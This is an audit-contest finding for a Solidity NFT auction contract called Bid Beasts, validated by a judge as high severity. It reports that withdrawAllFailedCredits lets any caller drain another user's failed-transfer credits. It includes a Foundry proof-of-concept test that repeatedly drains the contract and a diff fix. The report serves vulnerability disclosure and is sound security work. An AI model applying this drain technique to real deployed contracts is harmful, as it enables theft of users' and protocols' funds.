Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Broken access control on withdrawing failed transfers

fredo182

Broken access control on withdrawing failed transfers

Description

The contract exposes a withdrawal entrypoint that allows callers to trigger payout of previously-recorded failed transfer credits for arbitrary recipients. Due to incorrect authorization and state handling, a caller can cause the contract to transfer someone else’s credited funds to themselves or repeatedly drain the protocol's credits.

Risk

Likelihood: High

The vulnerability is trivial to exploit and requires knowledge of a failed credits which is available to read from public failedTransferCredits method.

Impact: High

There are two issues here, an attackers can drain protocol's funds and steal money of another user.

Proof of Concept

The following test proves that an attacker can drain protocol's funds by collecting failed credits.

function test_drain_protocol_funds() public {
vm.deal(address(market), 100 * STARTING_BALANCE);
​
ETHRevertingBeneficiary beneficiary = new ETHRevertingBeneficiary();
vm.deal(address(beneficiary), STARTING_BALANCE);
address BIDDER = address(beneficiary);
​
vm.prank(PROTOCOL_OWNER);
nft.mint(SELLER);
​
uint256 askPrice = MIN_PRICE + 1;
uint256 bidPrice = askPrice + 1;
uint256 buyNowPrice = bidPrice + 1;
​
vm.startPrank(SELLER);
nft.approve(address(market), 0);
market.listNFT(0, askPrice, buyNowPrice);
vm.stopPrank();
​
vm.warp(1 days);
vm.startPrank(BIDDER);
market.placeBid{value: bidPrice}(0);
vm.stopPrank();
​
vm.warp(1 days + 5 minutes);
vm.startPrank(BIDDER_1);
market.placeBid{value: buyNowPrice}(0);
vm.stopPrank();
​
assertEq(nft.ownerOf(0), BIDDER_1);
​
vm.startPrank(BIDDER_1);
market.withdrawAllFailedCredits(address(beneficiary));
market.withdrawAllFailedCredits(address(beneficiary));
market.withdrawAllFailedCredits(address(beneficiary));
market.withdrawAllFailedCredits(address(beneficiary));
vm.stopPrank();
}

Recommended Mitigation

Use the msg.sender instead of receiverAddress parameter

-function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.